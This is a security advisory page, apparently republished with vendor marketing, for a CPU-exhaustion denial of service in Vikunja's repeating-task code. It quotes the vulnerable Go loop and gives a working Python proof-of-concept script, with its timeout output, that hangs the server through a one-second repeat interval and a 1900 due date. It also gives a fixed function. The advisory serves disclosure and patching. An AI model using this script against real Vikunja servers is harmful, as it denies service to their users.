GHSA-r4fg-73rc-hhh7
MEDIUMGHSA-r4fg-73rc-hhh7 is a medium-severity (CVSS 6.5) CWE-407 vulnerability in code.vikunja.io/api. O3 Security confirms whether GHSA-r4fg-73rc-hhh7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Vikunja has Algorithmic Complexity DoS in Repeating Task Handler
Blast Radius
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.
Details
The vulnerable function at pkg/models/tasks.go:1456-1464:
func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
for {
t = t.Add(duration)
if t.After(now) {
break
}
}
return t
}
The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).
Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests, time
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()
# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
json={"title": "DoS", "repeat_after": 1,
"due_date": "1900-01-01T00:00:00Z"}).json()
# mark done - triggers the vulnerable loop
start = time.time()
try:
r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
json={"title": "DoS", "done": True}, timeout=120)
print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
print(f"TIMEOUT after {time.time()-start:.1f}s")
Output:
TIMEOUT after 60.0s
The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.
Impact
Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.
Recommended Fix
Replace the O(n) loop with O(1) arithmetic:
func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
if duration <= 0 {
return t
}
diff := now.Sub(t)
if diff <= 0 {
return t.Add(duration)
}
intervals := int64(diff/duration) + 1
return t.Add(time.Duration(intervals) * duration)
}
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r4fg-73rc-hhh7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r4fg-73rc-hhh7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r4fg-73rc-hhh7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r4fg-73rc-hhh7 in your dependencies?
O3 detects GHSA-r4fg-73rc-hhh7 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.